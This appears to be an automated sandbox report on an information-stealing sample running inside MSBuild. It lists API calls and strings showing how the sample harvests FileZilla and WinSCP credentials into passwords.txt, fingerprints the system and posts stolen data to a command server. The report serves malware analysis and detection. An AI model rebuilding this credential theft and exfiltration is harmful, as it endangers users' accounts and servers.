Function 00410D03 Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D1E
HeapAlloc.KERNEL32(00000000), ref: 00410D25
GetTimeZoneInformation.KERNEL32(?), ref: 00410D34
wsprintfA.USER32 ref: 00410D52

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 777d8121b5b1ce313eb417fe3bc5c67830109766bc73d65ea7eb4edc341b23c2
Instruction ID: 064e980fbceb68efa2cc8567f906739db49e296eb84e1a71cc9b51000a306715
Opcode Fuzzy Hash: 777d8121b5b1ce313eb417fe3bc5c67830109766bc73d65ea7eb4edc341b23c2
Instruction Fuzzy Hash: 70F0E971A00324ABEB04DBB4EC49BAB37B9AB04725F100295F515D72D0DB749F858B95

Function 00410C28 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C34
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C3B
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C4F

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410F8F Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FA9
wsprintfA.USER32 ref: 00410FC1

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: a4999cb9ea1add73611b93d619ce9293718cdf998774c061791918c6f6fc24da
Instruction ID: d25fd13e54b046c54e2bfcee0452c516ab2eef1b8e83a7e196185c263e22a4d5
Opcode Fuzzy Hash: a4999cb9ea1add73611b93d619ce9293718cdf998774c061791918c6f6fc24da
Instruction Fuzzy Hash: 02E092B0D1020DABCF10DFA0EC45ADD77FCAB08308F0055B5A505D3180DA74ABC98F88

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,004186D0), ref: 004014DF

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E32: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E708,?,?,?,004128E1,?,?,00000000), ref: 00411E52
Part of subcall function 00411E32: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128E1,?,?,00000000), ref: 00411E5F
Part of subcall function 00411E32: HeapAlloc.KERNEL32(00000000,?,?,?,004128E1,?,?,00000000), ref: 00411E66

StrCmpCA.SHLWAPI(?,00436976,0043695B,00436957,0043694B), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

lstrlenA.KERNEL32(?,",file_data,00437848,------,0043783C,?,",00437830,------,00437824,4a5bc8b73e12425adc3c399da8136891,",build_id,0043780C,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

", xrefs: 00405AD8
------, xrefs: 00405B5D
------, xrefs: 0040589D
------, xrefs: 004059FF
4a5bc8b73e12425adc3c399da8136891, xrefs: 004059A7
--, xrefs: 00405600
------, xrefs: 0040573C
block, xrefs: 00405E30
ERROR, xrefs: 00405F2F
build_id, xrefs: 0040594F
------, xrefs: 00405605
", xrefs: 00405C35
file_data, xrefs: 00405C09
ERROR, xrefs: 00405D79
", xrefs: 0040581B
", xrefs: 0040597B

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$4a5bc8b73e12425adc3c399da8136891$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-1492298279
Opcode ID: 35035fa0e09a60818810ebde985685f3ce7042818e415ae2c50ee2fa773c2129
Instruction ID: c08b1542f2c47ec2b082c908b68f827a8f2b1c5282b8220e63d03fbfb2eb7b8e
Opcode Fuzzy Hash: 35035fa0e09a60818810ebde985685f3ce7042818e415ae2c50ee2fa773c2129
Instruction Fuzzy Hash: 4842B6719001699BDF21FB21DC45ADDB7B9BF04348F0085E6A589B3152CEB46FC69F88

Function 0040E6A4 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00411D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

Part of subcall function 00411DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416973,?), ref: 00411E0C

strtok_s.MSVCRT ref: 0040E753
GetProcessHeap.KERNEL32(00000000,000F423F,004368FF,004368FE,004368EF,004368EE), ref: 0040E799
HeapAlloc.KERNEL32(00000000), ref: 0040E7A0
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7B4
lstrlenA.KERNEL32(00000000), ref: 0040E7BF
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E7F3
lstrlenA.KERNEL32(00000000), ref: 0040E7FE
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E82C
lstrlenA.KERNEL32(00000000), ref: 0040E837
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E865
lstrlenA.KERNEL32(00000000), ref: 0040E870
lstrlenA.KERNEL32(?), ref: 0040E8D6
lstrlenA.KERNEL32(?), ref: 0040E8EA
lstrlenA.KERNEL32(0040EC91), ref: 0040EA12

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

Strings

<Pass encoding="base64">, xrefs: 0040E85F
Login: , xrefs: 0040E961
Password: , xrefs: 0040E983
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E6F4
<Port>, xrefs: 0040E7ED
Soft: FileZilla, xrefs: 0040E91D
<User>, xrefs: 0040E826
passwords.txt, xrefs: 0040EA22
Host: , xrefs: 0040E929
<Host>, xrefs: 0040E7AE

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: 2ce1e943ab1760e9c146637135a21018399225c3cabde3e2ffbb6ff3b5fe11d8
Instruction ID: 198a37f40fddf1b7ba73535a65c339602e2087007c176f0166085d638d117e74
Opcode Fuzzy Hash: 2ce1e943ab1760e9c146637135a21018399225c3cabde3e2ffbb6ff3b5fe11d8
Instruction Fuzzy Hash: 05A16472A00219BBCF01FBA1DD4AACD7779AF08705F105426F601F31A1DB79AF858B99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437990,------,00437984,",task_id,00437970,------,00437964,",mode,00437950,------,00437944), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Strings

------, xrefs: 0040729F
task_id, xrefs: 00407351
------, xrefs: 00406FE3
------, xrefs: 00406CFC
------, xrefs: 00406E82
build_id, xrefs: 00407095
4a5bc8b73e12425adc3c399da8136891, xrefs: 004070ED
status, xrefs: 004074B1
", xrefs: 0040737D
", xrefs: 004074DD
------, xrefs: 00407145
", xrefs: 004070C1
mode, xrefs: 004071F1
", xrefs: 0040721D
", xrefs: 00406F61
------, xrefs: 004073FF

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$4a5bc8b73e12425adc3c399da8136891$build_id$mode$status$task_id
API String ID: 3702379033-2543854897
Opcode ID: b9c1955646b138a56f520bdf348497aa3760e7fbf47a1c04a9d2ad00bc85f41b
Instruction ID: 4b0fddad23b3ceb2e745eed4edf179f531a78337ddaa15e28fb3aa872155333d
Opcode Fuzzy Hash: b9c1955646b138a56f520bdf348497aa3760e7fbf47a1c04a9d2ad00bc85f41b
Instruction Fuzzy Hash: 0B529271A001699BCF61EB61CD46BCCB775AF04748F0184E7A60D73162DAB86FCA8F58

Function 0040E15B Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E18C
_memset.LIBCMT ref: 0040E1AC
_memset.LIBCMT ref: 0040E1BD
_memset.LIBCMT ref: 0040E1CE
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E202
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E233
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E24B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E272
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E292
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2B5
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368D7), ref: 0040E34E
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3AE

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E288
PortNumber, xrefs: 0040E392
:22, xrefs: 0040E402
Host: , xrefs: 0040E2FF
UseMasterPassword, xrefs: 0040E223
Login: , xrefs: 0040E42E
UserName, xrefs: 0040E46B
Password: , xrefs: 0040E4FE
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E1E0
Security, xrefs: 0040E228
Password, xrefs: 0040E4EA
HostName, xrefs: 0040E33C
passwords.txt, xrefs: 0040E637
Soft: WinSCP, xrefs: 0040E2D3

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 9a18c689fb21a39029da13a8c8068ff4cd1a0520cfdcc8c31b4f6a29730dd9de
Instruction ID: 6d6a57d378e1588f3ec60a29e8942986b626aa772639c56a91c031b0f7d346e0
Opcode Fuzzy Hash: 9a18c689fb21a39029da13a8c8068ff4cd1a0520cfdcc8c31b4f6a29730dd9de
Instruction Fuzzy Hash: 92D105B191012DABDB20EB91DC82BD9B779AF04348F5054EBA508B3091DAB47FC9CF65

Function 00405F39 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D0,------,004378C4,4a5bc8b73e12425adc3c399da8136891,",build_id,004378AC,------,004378A0,",00437894,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
